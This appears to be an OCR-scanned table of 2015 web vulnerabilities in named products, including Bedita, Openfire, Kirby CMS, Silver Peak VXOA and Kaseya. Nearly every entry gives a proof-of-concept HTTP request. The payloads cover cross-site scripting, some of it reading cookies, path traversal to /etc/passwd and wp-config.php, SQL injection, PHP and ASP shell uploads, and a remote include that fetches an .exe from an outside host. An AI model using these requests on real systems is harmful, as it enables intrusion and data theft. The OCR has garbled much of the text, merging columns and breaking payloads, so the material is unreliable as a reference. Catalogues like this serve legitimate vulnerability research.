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XSS

o

Bedita 3.5.1 -
/bedita/index.php/admin/save
Config XSS ff351%

POST /bedita/index.php/admin/saveConfig HTTP/1.1
Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

cfg% 5BprojectName % 5D=<script>alert(12345)</script>

MKRITOI5A

Bedita

Bedita 3.5.1

2015-09-01

38051

XSS

o

Bedita 3.5.1 -
/bedita/index.php/areas/saveA
rea XSS HfEs51%E

POST /bedita/index.php/areas/saveArea HTTP/1.1
Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

cfg% 5BprojectName % 5D=<script>alert(12345)</script>

Bedita

Bedita 3.5.1

2015-09-01

38051

XSS

o

Bedita 3.5.1 -
/bedita/index.php/areas/saveS
ection XSS &S5

POST /bedita/index.php/areas/saveSection HTTP/1.1
Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

% 261t% 3B % 2Ftextarea% 269t % 3B % 3Cscript% 3Ealert%
28123%29%3C% 2Fscript%3E

Bedita

Bedita 3.5.1

2015-09-02

38071

LFI

FRAGE

YesWiki 0.2 - wakka.php LFI fifz
foj e

/vul_test/yeswiki/wakka.php?wiki=PagesACreer/edit&the
me=yeswiki&squelette=/.././.././../../..1..]..]..] ] .[etc/pass
wd&style=gray.css&bgimg=&newpage=1

YesWiki

YesWiki 0.2

2015-09-06

38090

LFI

BRI

FireEye Appliance -
NEI_ModuleDispatch.php LFI
JiiEstes

/script/NEI_ModuleDispatch.php?module=NEI_AdvancedC
onfig&function=HapiGetFileContents&name=../../../../../../
/../..1..1../letc/passwd&extension=&category=operating %
20system%20logs&mode=download&time=...&mytoken=

FireEye

FireEye Appliance

2015-09-07

38098

XSS

o

JSPMySQL Administrador -
listaBD2.jsp XSS M35

/sys/sys/listaBD2.jsp?bd=%22/% 3E % 3Cscript % 3Ealert%
28666%29%3C/script%3E

JSPMySQL
Administrador

JSPMysSQL
Administrador v.1

2015-09-08

38110

XSS

o

DirectAdmin Web Control
Panel 1.483 -
/CMD_FILE_MANAGER XSS ff&

POST /CMD_FILE_MANAGER HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

path=/xss/"><script>alert(/XSS Vuln/)</script)

DirectAdmin

DirectAdmin Web
Control Panel
1.483

2015-09-10

38129

LFI

o

Octogate UTM 3.0.12 -
download.php LFI 5514

/scripts/download.php?file=/../../../../../../octo/etc/ini.d/oc
togate.ini&type=d|

Octogate

Octogate UTM
3.0.12

2015-09-11

38148

e

Monsta FTP 1.6.2 -
/monsta_ftp_v1.6.2_install/
XSS 581

/monsta_ftp_v1.6.2_install/?openFolder="/><script>alert('
XSS by hyp3rlinx '% 2bdocument.cookie)</script>

Monsta FTP

Monsta FTP 1.6.2

2015-09-14

38176

LFI

o

EZ SQL Reports < 4.11.37 -
admin.php LFI 8514

/wp-admin/admin.php?page=ELISQLREPORTS-
settings&Download_SQL_Backup=../../../wp-config.php

EZ SQL Reports

EZ SQL Reports <
4.11.37

2015-09-14

38176

SQL Injection

e

EZ SQL Reports < 4.11.37 -
admin.php SQL Injection &85
L3

POST /wp-admin/admin.php?page=
settings HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

LISQLREPORTS-

DB_NAME=1%20and%201=1

EZ SQL Reports

EZ SQL Reports <
4.11.37

2015-09-14

38173

SQL Injection

o

ManageEngine EventLog
Analyzer < 10.6 - runQuery.do
SQL Injection AESSH

POST /event/runQuery.do HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

execute=true&query=select+version%28%29

ManageEngine
Eventlog
Analyzer

ManageEngine
Eventlog
Analyzer < 10.6

2015-09-15

38197

File Upload

BRAEE

Silver Peak VXOA < 6.2.11 -
configdb_file.php File Upload
IEssE

POST /6.2.5.0_52054/php/configdb_file.php?seenform=1
HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows
NT 6.2; WOW64; Trident/6.0)

Content-Type: multipart/form-data; boundary=--------------
************* 7dd10029908f2

----7dd 100299082
Content-Disposition: form-data; name="Filedata";
filename="shelll.php"

Content-Type: application/octet-stream

<? phpinfo(); 7>

7dd10029908f2--

Silver Peak VXOA

Silver Peak VXOA
<6.2.11
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LFI

FRAGE

Silver Peak VXOA < 6.2.11 -
save file.php LFI 88514

2015-09-15

38197

LFI

FRMLE

/6.2.5.0_52054/php/save_file.php?ftype=log&fname=../../
etc/passwd

NHTOI54
Silver Peak VXOA

Silver Peak VXOA
<6.2.11

Silver Peak VXOA < 6.2.11 -
save_config_file.php LFI fES314E

1/6.2.5.0_52054/php/save_config_file.php?filename=../../.
oA ] Jetc/passwd

Silver Peak VXOA

Silver Peak VXOA
<6.2.11

2015-09-15

38191

XSS

=

Openfire 3.10.2 - server-
session-details.isp XSS 5514

2015-09-15

38191

XSS

o

/server-session-details.jsp?hostname=
"/><scripthalert(666)</scripty

Openfire

Openfire 3.10.2

Openfire 3.10.2 - group-
summary.jsp XSS Af351%

/group-
summary.jsp?search=%22+onMouseMove%3D%22alert%28
%27hyp3rlinx%27%29

Openfire

Openfire 3.10.2

2015-09-15

38189

RFI

o

Openfire 3.10.2 - available-
plugins.jsp RFI f351%

/available-
plugins.jsp?download=1&url=http://ghostofsin.abyss/abys
malgod.exe

Openfire

Openfire 3.10.2

2015-09-15

38187

SQL Injection

aé

WordPress CP Reservation
Calendar Plugin 1.1.6 -
/wordpress/ SQL Injection 55
i3

POST
/wordpress/?action=dex_reservations_check_posted_data
HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

dex_reservations_post=18&dex_item=1%20and%201=1

WordPress

WordPress CP
Reservation
Calendar Plugin

2015-09-16

38213

SQL Injection

BRAGE

FAROL - Login.actions.php SQL|
Injection ffas51E

POST
/tkmonitor/estrutura/login/Login.actions.php?recuperar
HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

email=1'%200r%201=ctxsys.drithsx.sn(1, (select% 20sys.s
tragg(distinct%20banner) % 20from % 20v$version))--

FAROL

FAROL All Version

2015-09-17

38224

SQL Injection

FRAGE

ZeusCart 4.0 - index.php SQL
Injection ffas51E

/zeuscart-
master/index.php?do=featured&action=showmaincatlandi
ng&maincatid=-1 AND IF(SUBSTRING (version(), 1,
1)=5,BENCHMARK (500000000, version()),null)

ZeusCart

ZeusCart 4.0

2015-09-18

38241

SQL Injection

o

Pligg CMS 2.0.2 -
load_data_for_search.php SQL
Iniection AfE8514

/pligg-cms-
master/load_data_for_search.php?sql=1%20and%201=1

Pligg

Pligg CMS 2.0.2

2015-09-22

38255

LFI

e

Kirby CMS <= 2.1.0 -
/kirby/panel/login LFI BE5514%

POST /kirby/panel/login HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

username=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2
Ftmp % 2Fbypassauth&password=trythisout&_csfr=erQ1Uv
Om2L1...

Kirby

Kirby CMS <=
2.1.0

2015-09-22

38210

File Upload

e

Kirby CMS <= 2.1.0 -
/kirby/panel/api/files/upload/a
bout File Upload 8514

POST /kirby/panel/api/files/upload/about HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows
NT 6.2; WOW64; Trident/6.0)

Content-Type: multipart/form-data; boundary=--------------
------------- 7dd10029908f2

----7dd 1002990812
Content-Disposition: form-data; name="Filedata";
filename="kirbyexec.php5"

Content-Type: application/octet-stream

<2 phpinfo(); 2>

7dd10029908f2--

Kirby

Kirby CMS <=
2.1.0

2015-09-23

38292

SQL Injection

FRAGE

refbase <= 0.9.6 - rss.php
SQL Injection AESSHE

/rss.php?where='nonexistent'+union+all(select+1,2,3,4,5,
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2
5,26,27,28,29,30,31,32,concat('version:',@@version,'"),34
,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50)--
%20~

refbase

refbase <=0.9.6

2015-09-23

38292

SQL Injection

U

refbase <= 0.9.6 - install.php
SQL Injection A5

POST /install.php HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko
Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

formType=install&submit=Install&adminUserName=root&
adminPassword=pass&pathToMYSQL=C:#mysql5.6.17b]
in¥¥mysql.exe&databaseStructureFile= /install sql&pathTo
Bibutils=&defaultCharacterSet=1%20and%201=1&submi
t=Install

refbase

refbase <=0.9.6

2015-09-25

38316

U

FortiManager 5.2.2 - /cgi-
bin/module/sharedobjmanager
/policy_new/874/ XSS 55t

/cgi-
bin/module/sharedobjmanager/policy_new/874/PolicyTabl
e?vdom=%22%27/% 3E%3C/script%3E % 3Cscript%3Eal
ert%28%27[XSS%20FortiManager % 20POC%20VM64 %
20v5.2.2%2008042015%20]Wnn %27 % 2bdocument.c
ookie%29%3C/script%3E

FortiManager

FortiManager
522
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POST /index.php HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows
NT 6.2; WOW64; Trident/6.0)

Content-Type: multipart/form-data: boundary=--------------
Vtiger CRM <= 6.3.0 - [--mmmemmees 7dd10029908f2

/index.php File Upload 3514

Vtiger CRM <=

2015-09-28 38345 File Upload 2 Vtiger

o

----7dd 100299082
Content-Disposition: form-data; name="__vtrftk";
filename="2.php"

Content-Type: application/octet-stream

<? phpinfo(); 2>

7dd10029908f2--

POST /centreon/main.php?p=50102 HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows
NT 6.2; WOW64; Trident/6.0)

Content-Type: multipart/form-data; boundary=--------------
Centreon 2.6.1 - main.php File [------------- 7dd10029908f2

Upload 38t Centreon Centreon 2.6.1

2015-09-28 38339 File Upload ) FRWGE

----7dd10029908f2
Content-Disposition: form-data; name="filename";
filename="phpinfo.php"

Content-Type: application/octet-stream

<? phpinfo(); 7>
----------------------------- 7dd10029908f2--

POST /sqlConsole.shtm HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko

Mango Automation 2.6.0 - Chrome/16.0.912.75 Safari/535.7

sqlConsole.shtm SQL Injection |Accept: */*

JiEE]e Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

Mango Mango
Automation [ Automation 2.6.0

o

2015-09-28 38338 SQL Injection 2

sqlString=select+*+from+users % 3B&query=Submit+quer
Y

POST /login.htm HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64
AppleWebKit/535.7 KHTML, like Gecko

Mango Automation 2.6.0 - Chrome/16.0.912.75 Safari/535.7 Mango Mango
login.htm XSS A5t Accept: */* Automation | Automation 2.6.0
Content-Type: application/x-www-form-urlencoded:
charset=UTF-8

2015-09-28 38338 XSS %

e

username="><scriptdalert("XSS"):<{/script>' /

POST /vsapres/web20/json.ashx HTTP/1.1

Host:

Connection: Close

Accept: text/html, application/xhtml+xml, */*
Accept-Language: ko-KR

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows
NT 6.2; WOW64; Trident/6.0)

Kaseya Virtual System Content Type: multipart/form-data; boundary=--------- Kaseya Virtual

Administrator - json.ashx File Kaseyar System
Upload 3814 Administrator
----7dd10029908f2
Content-Disposition: form-data;
name="impinf__uploadfilelocation"; filename="shell.asp"
Content-Type: application/octet-stream

2015-09-29 38351 File Upload 2

o

<% response.write "Shell" %>
7dd10029908f2--
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